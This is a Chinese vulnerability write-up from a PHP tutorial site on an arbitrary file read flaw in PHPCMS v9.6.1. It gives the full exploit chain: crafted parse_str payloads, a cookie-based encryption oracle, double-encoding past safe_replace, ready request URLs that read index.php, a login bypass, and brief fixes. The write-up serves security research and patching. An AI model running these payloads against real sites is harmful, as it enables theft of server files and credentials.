目錄
1.准备工作&漏洞关键点快速扫描
1.1前置知识
1.2 快速扫描
1.2 content/down模块大致流程分析
1.2.1$fileurl变量构造分析
1.2.2$a_k变量分析
1.2.3小结
2.漏洞挖掘过程
2.1 init方法所接受的$a_k构造
2.1.1探索正常流程中的$a_k构造过程
2.1.2 黑科技构造$a_k
2.2 json和parse_str
2.3 构造符合init方法的$a_k
2.4绕过限制构造最终payload
2.4.1 urlencode编码“<>”
2.4.2最终payload
2.5绕过attachment模块权限限制完成无限制利用
3.EXP编写
4.修復方案
首頁 CMS教程 PHPCMS 解說PHPCMSv9.6.1任意檔案讀取漏洞的挖掘與分析過程

解說PHPCMSv9.6.1任意檔案讀取漏洞的挖掘與分析過程

Dec 15, 2020 pm 05:24 PM
php web安全 漏洞 網路安全

<h2> <a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘<br> </h2> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="解說PHPCMSv9.6.1任意檔案讀取漏洞的挖掘與分析過程" ></p> <p>推荐(免费):<a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。</p> <h2 id="准备工作-amp-漏洞关键点快速扫描">1.准备工作&漏洞关键点快速扫描</h2> <h3 id="前置知识">1.1前置知识</h3> <p>这里把本次分析中需要掌握的知识梳理了下:</p> <ol> <li><p>php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。</p></li> <li><p>原生empty方法,对字符串""返回true。</p></li> <li><p>phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。</p></li> </ol> <h3 id="快速扫描">1.2 快速扫描</h3> <p>先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:</p> <pre class="brush:php;toolbar:false">--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));                 if(empty($f)) showmessage(L('url_invalid'));                 $allow_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];                 $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd_his').random(3).'.'.$ext; +                               $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);^M                                 file_down($fileurl, $filename);                         }                 }</pre> <p>主要修改了两个方法<code>init()</code>和<code>download()</code>,大胆的猜想估计是这两个函数出问题了。</p> <pre class="brush:php;toolbar:false">public function init() {         $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f);         $a_k = safe_replace($a_k);//关键点2         parse_str($a_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;         } else {             $downurl = $f;                     } }</pre> <pre class="brush:php;toolbar:false">    public function download() {         $a_k = trim($_GET['a_k']);         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f,$t,$ip);         $a_k = safe_replace($a_k);//关键点7         parse_str($a_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         if(!$i || $m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd_his').random(3).'.'.$ext;                 $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17                 file_down($fileurl, $filename);//关键点18             }         }     }</pre> <p>safe_replace函数如下</p> <pre class="brush:php;toolbar:false">function safe_replace($string) {     $string = str_replace('%20','',$string);     $string = str_replace('%27','',$string);     $string = str_replace('%2527','',$string);     $string = str_replace('*','',$string);     $string = str_replace('"','&quot;',$string);     $string = str_replace("'",'',$string);     $string = str_replace('"','',$string);     $string = str_replace(';','',$string);     $string = str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string);     $string = str_replace("{",'',$string);     $string = str_replace('}','',$string);     $string = str_replace('\\','',$string);     return $string; }</pre> <h4 id="content-down模块大致流程分析">1.2 content/down模块大致流程分析</h4> <ol><li><p>init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用</p></li></ol> <p>download方法的url,url的schema为<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必须符合一定条件。)</p> <ol><li><p>download方法接收到$a_k,进行解码,解出文件信息,调用<code>file_down($fileurl, $filename)</code>( 必须符合一定条件)</p></li></ol> <p>我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!</p> <pre class="brush:php;toolbar:false">function file_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob_get_length() !== false) @ob_end_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; }</pre> <h4 id="fileurl变量构造分析">1.2.1$fileurl变量构造分析</h4> <p>如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>那么可以想到我们构造出符合<code>.ph([<>]+)p</code>的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。</p> <p>再向上上看</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。</p> <pre class="brush:php;toolbar:false">$fileurl = trim($f);</pre> <pre class="brush:php;toolbar:false">$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8</pre> <p>通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。</p> <h4 id="a-k变量分析">1.2.2$a_k变量分析</h4> <p>再向上看</p> <pre class="brush:php;toolbar:false">$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);</pre> <p>这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。</p> <p>我们现在来看下init方法</p> <pre class="brush:php;toolbar:false">        $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1</pre> <p>这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。</p> <h4 id="小结">1.2.3小结</h4> <p>总结一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。</p> <p>然后init方法会构造出符合download方法中能够解密的$a_k。</p> <p>通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。</p> <h2 id="漏洞挖掘过程">2.漏洞挖掘过程</h2> <h3 id="init方法所接受的-a-k构造">2.1 init方法所接受的$a_k构造</h3> <h4 id="探索正常流程中的-a-k构造过程">2.1.1探索正常流程中的$a_k构造过程</h4> <p>对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k</p> <pre class="brush:php;toolbar:false">    function downfile($field, $value) {         extract(string2array($this->fields[$field]['setting']));         $list_str = array();         if($value){             $value_arr = explode('|',$value);             $fileurl = $value_arr['0'];             if($fileurl) {                 $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';                 $server_list = getcache('downservers','commons');                 if(is_array($server_list)) {                     foreach($server_list as $_k=>$_v) {                         if($value && is_array($sel_server) && in_array($_k,$sel_server)) {                             $downloadurl = $_v[siteurl].$fileurl;                             if($downloadlink) {                                 $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));                                 $list_str[] = "<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             } else {                                 $list_str[] = "<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             }                         }                     }                 }                     return $list_str;             }         }      }</pre> <p>但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。</p> <h4 id="黑科技构造-a-k">2.1.2 黑科技构造$a_k</h4> <p>由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系统默认的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)</p></li> <li><p>加密后的数据有回显的。</p></li> </ol> <p>共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到</p> <pre class="brush:php;toolbar:false">public static function set_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;         $var = pc_base::load_config('system','cookie_pre').$var;         $_COOKIE[$var] = $value;         if (is_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);             }         } else {             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);         }     }     public static function get_cookie($var, $default = '') {         $var = pc_base::load_config('system','cookie_pre').$var;         return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;     }</pre> <p>param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。</p> <p>马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。</p> <ol> <li><p>set_cookie的内容是可控的。</p></li> <li><p>set_cookie的触发条件尽可能的限制小。</p></li> </ol> <p>一共找到122个匹配项,找到了两个比较好的触发点。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。</p> <p>我们来看下swfupload_json</p> <pre class="brush:php;toolbar:false">    public function swfupload_json() {         $arr['aid'] = intval($_GET['aid']);         $arr['src'] = safe_replace(trim($_GET['src']));         $arr['filename'] = urlencode(safe_replace($_GET['filename']));         $json_str = json_encode($arr);         $att_arr_exist = param::get_cookie('att_json');         $att_arr_exist_tmp = explode('||', $att_arr_exist);         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {             return true;         } else {             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;             param::set_cookie('att_json',$json_str);             return true;                     }     }</pre> <p>我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。</p> <p>我们注册个用户登录之后,调用</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre> <p>产生的数据会是</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre> <p>然后我们得到response.header中的set-cookie ["att_json"]。</p> <pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>我们修改下down.php->init方法,把DECODE之后的$a_k输出来。</p> <p>然后我们调用</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>激动人心,init方法成功DECODE了$a_k</p> <p>好了目前验证了我们的想法可行,接下来应该构造可用的payload了。</p> <h3 id="json和parse-str">2.2 json和parse_str</h3> <p>目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。</p> <h3 id="构造符合init方法的-a-k">2.3 构造符合init方法的$a_k</h3> <p>我们先构造一个符合init方法的$a_k使得能完成正常的流程。</p> <pre class="brush:php;toolbar:false">        if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);</pre> <p>构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre> <p>得到</p> <pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre> <p>然后提交</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre> <p>成功!页面已经生成了调用download方法的url</p> <pre class="brush:php;toolbar:false"></head> <body>     <style type="text/css">          body, html{ background:#FFF!important;}     </style>         <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>     </body> </html></pre> <h3 id="绕过限制构造最终payload">2.4绕过限制构造最终payload</h3> <p>目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中</p> <pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');     $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));     $downurl = '?m=content&c=down&a=download&a_k='.$a_k;     } else {         $downurl = $f;                 }</pre> <p>对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"</p> <p>还好我们看到download函数中</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。</p> <p>在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。</p> <pre class="brush:php;toolbar:false">//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));     $fileurl = trim($f);</pre> <p>通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));         //远程文件</pre> <p>好在快速扫描中看到的</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>另外又看到</p> <pre class="brush:php;toolbar:false">if($d == 0) {     header("Location: ".$fileurl);</pre> <h4 id="urlencode编码-lt-gt">2.4.1 urlencode编码“<>”</h4> <p>那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。</p><p>最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。</p><p>所以可以构造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我们发现在init方法中会safe_replace一次,和parse_str一次。</p><p>那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。</p><p>所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>当然要读取别的目录的,那同样对目录路径进行编码。</p><h3 id="最终payload">2.4.2最终payload</h3><p>以读取首页index.php为例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最终提示下载文件,文件下载成功,打开来看确实是index.php内容。</p><h3 id="绕过attachment模块权限限制完成无限制利用">2.5绕过attachment模块权限限制完成无限制利用</h3><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url = pc_base::load_config('system','upload_url');         $this->upload_path = pc_base::load_config('system','upload_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));         $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;         $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please_login','','member'));         }     }</p> <p>可以发现</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre> <p>可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。</p> <p>全文找下无限制可以set_cookie的,发现WAP模块可以利用</p> <pre class="brush:php;toolbar:false">pc_base::load_sys_class('format', '', 0); class index {     function __construct() {                 $this->db = pc_base::load_model('content_model');         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);         param::set_cookie('siteid',$this->siteid);             $this->wap_site = getcache('wap_site','wap');         $this->types = getcache('wap_type','wap');         $this->wap = $this->wap_site[$this->siteid];         define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap['status']!=1) exit(L('wap_close_status'));     }</pre> <p>没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。</p> <h2 id="EXP编写">3.EXP编写</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。</p></li> <li> <p>访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <pre class="brush:php;toolbar:false">&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.</pre> </li> </ol> <p>响应成功之后,获取名称为att_json的cookie</p> <ol><li><p>访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2 id="修復方案">4.修復方案</h2> <p>init方法中的$a_k 加解密sys_auth不要採用預設金鑰。 </p> <p>file_down之前對$fileurl再做一次過濾。 </p>

以上是解說PHPCMSv9.6.1任意檔案讀取漏洞的挖掘與分析過程的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

如何用PHP搭建社交分享功能 PHP分享接口集成實戰 如何用PHP搭建社交分享功能 PHP分享接口集成實戰 Jul 25, 2025 pm 08:51 PM

在PHP中搭建社交分享功能的核心方法是通過動態生成符合各平台要求的分享鏈接。 1.首先獲取當前頁面或指定的URL及文章信息;2.使用urlencode對參數進行編碼;3.根據各平台協議拼接生成分享鏈接;4.在前端展示鏈接供用戶點擊分享;5.動態生成頁面OG標籤優化分享內容展示;6.務必對用戶輸入進行轉義以防止XSS攻擊。該方法無需複雜認證,維護成本低,適用於大多數內容分享需求。

PHP集成AI智能圖片識別 PHP視覺內容自動標籤化 PHP集成AI智能圖片識別 PHP視覺內容自動標籤化 Jul 25, 2025 pm 05:42 PM

将AI视觉理解能力融入PHP应用的核心思路是利用第三方AI视觉服务API,PHP负责上传图片、发送请求、接收并解析JSON结果,将标签存入数据库;2.图片自动标签化能显著提升效率、增强内容可搜索性、优化管理和推荐,使视觉内容从“死数据”变为“活数据”;3.选择AI服务需根据功能匹配度、准确率、成本、易用性、地域延迟和数据合规性综合判断,推荐从GoogleCloudVision等通用服务起步;4.常见挑战包括网络超时、密钥安全、错误处理、图片格式限制、成本控制、异步处理需求及AI识别准确率问题,需

PHP打造博客評論系統變現 PHP評論審核與防刷策略 PHP打造博客評論系統變現 PHP評論審核與防刷策略 Jul 25, 2025 pm 08:27 PM

